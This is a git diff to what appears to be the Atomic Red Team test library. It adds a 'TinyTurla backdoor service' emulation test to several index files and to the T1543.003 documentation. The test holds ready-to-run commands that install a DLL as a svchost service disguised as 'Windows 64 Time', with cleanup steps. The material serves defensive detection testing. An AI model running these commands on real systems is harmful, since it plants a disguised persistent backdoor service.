 privilege-escalation,T1547.004,Winlogon Helper DLL,2,Winlogon Userinit Key Persistence - PowerShell,fb32c935-ee2e-454b-8fa3-1c46b42e8dfb,powershell
 privilege-escalation,T1547.004,Winlogon Helper DLL,3,Winlogon Notify Key Logon Persistence - PowerShell,d40da266-e073-4e5a-bb8b-2b385023e5f9,powershell
@@ -464,6 +465,7 @@ persistence,T1546.003,Windows Management Instrumentation Event Subscription,1,Pe
 persistence,T1543.003,Windows Service,1,Modify Fax service to run PowerShell,ed366cde-7d12-49df-a833-671904770b9f,command_prompt
 persistence,T1543.003,Windows Service,2,Service Installation CMD,981e2942-e433-44e9-afc1-8c957a1496b6,command_prompt
 persistence,T1543.003,Windows Service,3,Service Installation PowerShell,491a4af6-a521-4b74-b23b-f7b3f1ee9e77,powershell
+persistence,T1543.003,Windows Service,4,TinyTurla backdoor service w64time,ef0581fd-528e-4662-87bc-4c2affb86940,command_prompt
 persistence,T1547.004,Winlogon Helper DLL,1,Winlogon Shell Key Persistence - PowerShell,bf9f9d65-ee4d-4c3e-a843-777d04f19c38,powershell
 persistence,T1547.004,Winlogon Helper DLL,2,Winlogon Userinit Key Persistence - PowerShell,fb32c935-ee2e-454b-8fa3-1c46b42e8dfb,powershell
 persistence,T1547.004,Winlogon Helper DLL,3,Winlogon Notify Key Logon Persistence - PowerShell,d40da266-e073-4e5a-bb8b-2b385023e5f9,powershell
diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md
index f802d2c4..8c6277f2 100644
--- a/atomics/Indexes/Indexes-Markdown/index.md
+++ b/atomics/Indexes/Indexes-Markdown/index.md
@@ -455,6 +455,7 @@
   - Atomic Test #1: Modify Fax service to run PowerShell [windows]
   - Atomic Test #2: Service Installation CMD [windows]
   - Atomic Test #3: Service Installation PowerShell [windows]
+  - Atomic Test #4: TinyTurla backdoor service w64time [windows]
 - [T1547.004 Winlogon Helper DLL](../../T1547.004/T1547.004.md)
   - Atomic Test #1: Winlogon Shell Key Persistence - PowerShell [windows]
   - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows]
@@ -1158,6 +1159,7 @@
   - Atomic Test #1: Modify Fax service to run PowerShell [windows]
   - Atomic Test #2: Service Installation CMD [windows]
   - Atomic Test #3: Service Installation PowerShell [windows]
+  - Atomic Test #4: TinyTurla backdoor service w64time [windows]
 - [T1547.004 Winlogon Helper DLL](../../T1547.004/T1547.004.md)
   - Atomic Test #1: Winlogon Shell Key Persistence - PowerShell [windows]
   - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows]
diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md
index 21c0c29d..c33352ff 100644
--- a/atomics/Indexes/Indexes-Markdown/windows-index.md
+++ b/atomics/Indexes/Indexes-Markdown/windows-index.md
@@ -318,6 +318,7 @@
   - Atomic Test #1: Modify Fax service to run PowerShell [windows]
   - Atomic Test #2: Service Installation CMD [windows]
   - Atomic Test #3: Service Installation PowerShell [windows]
+  - Atomic Test #4: TinyTurla backdoor service w64time [windows]
 - [T1547.004 Winlogon Helper DLL](../../T1547.004/T1547.004.md)
   - Atomic Test #1: Winlogon Shell Key Persistence - PowerShell [windows]
   - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows]
@@ -811,6 +812,7 @@
   - Atomic Test #1: Modify Fax service to run PowerShell [windows]
   - Atomic Test #2: Service Installation CMD [windows]
   - Atomic Test #3: Service Installation PowerShell [windows]
+  - Atomic Test #4: TinyTurla backdoor service w64time [windows]
 - [T1547.004 Winlogon Helper DLL](../../T1547.004/T1547.004.md)
   - Atomic Test #1: Winlogon Shell Key Persistence - PowerShell [windows]
   - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows]
diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index b54288eb..7d72b915 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -20485,6 +20485,36 @@ privilege-escalation:
           Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
           try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
           catch {}
+    - name: TinyTurla backdoor service w64time
+      auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
+      description: |
+        It's running Dll as service to emulate the tine turla backdoor
+
+        [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
+      supported_platforms:
+      - windows
+      input_arguments:
+        dllfilename:
+          description: It specifies Dll file to run as service
+          type: string
+          default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
+      executor:
+        command: |-
+          copy #{dllfilename} %systemroot%\system32\
+          sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
+          sc config W64Time DisplayName= "Windows 64 Time"
+          sc description W64Time "Maintain date and time synch on all clients and services in the network"
+          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
+          reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
+          sc start W64Time
+        cleanup_command: |-
+          sc stop W64Time
+          sc.exe delete W64Time
+          del %systemroot%\system32\w64time.dll
+          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
+          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
+        name: command_prompt
+        elevation_required: true
   T1547.004:
     technique:
       created: '2020-01-24T16:59:59.688Z'
@@ -50420,6 +50450,36 @@ persistence:
           Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
           try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
           catch {}
+    - name: TinyTurla backdoor service w64time
+      auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
+      description: |
+        It's running Dll as service to emulate the tine turla backdoor
+
+        [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
+      supported_platforms:
+      - windows
+      input_arguments:
+        dllfilename:
+          description: It specifies Dll file to run as service
+          type: string
+          default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
+      executor:
+        command: |-
+          copy #{dllfilename} %systemroot%\system32\
+          sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
+          sc config W64Time DisplayName= "Windows 64 Time"
+          sc description W64Time "Maintain date and time synch on all clients and services in the network"
+          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
+          reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
+          sc start W64Time
+        cleanup_command: |-
+          sc stop W64Time
+          sc.exe delete W64Time
+          del %systemroot%\system32\w64time.dll
+          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
+          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
+        name: command_prompt
+        elevation_required: true
   T1547.004:
     technique:
       created: '2020-01-24T16:59:59.688Z'
diff --git a/atomics/T1543.003/T1543.003.md b/atomics/T1543.003/T1543.003.md
index 7044982f..b82342be 100644
--- a/atomics/T1543.003/T1543.003.md
+++ b/atomics/T1543.003/T1543.003.md
@@ -16,6 +16,8 @@ Services may be created with administrator privileges but are executed under SYS
 
 - [Atomic Test #3 - Service Installation PowerShell](#atomic-test-3---service-installation-powershell)
 
+- [Atomic Test #4 - TinyTurla backdoor service w64time](#atomic-test-4---tinyturla-backdoor-service-w64time)
+
 
 <br/>
 
@@ -160,4 +162,53 @@ Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/ato
 
 
 
+<br/>
+<br/>
+
+## Atomic Test #4 - TinyTurla backdoor service w64time
+It's running Dll as service to emulate the tine turla backdoor
+
+[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
+
+**Supported Platforms:** Windows
+
+
+**auto_generated_guid:** ef0581fd-528e-4662-87bc-4c2affb86940
+
+
+
+
+
+#### Inputs:
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| dllfilename | It specifies Dll file to run as service | string | $PathToAtomicsFolder&#92;T1543.003&#92;bin&#92;w64time.dll|
+
+
+#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 
+
+
+```cmd
+copy #{dllfilename} %systemroot%\system32\
+sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
+sc config W64Time DisplayName= "Windows 64 Time"
+sc description W64Time "Maintain date and time synch on all clients and services in the network"
+reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
+reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
+sc start W64Time
+```
+
+#### Cleanup Commands:
+```cmd
+sc stop W64Time
+sc.exe delete W64Time
+del %systemroot%\system32\w64time.dll
+reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
+reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
+```
+
+
+
+
+
 <br/>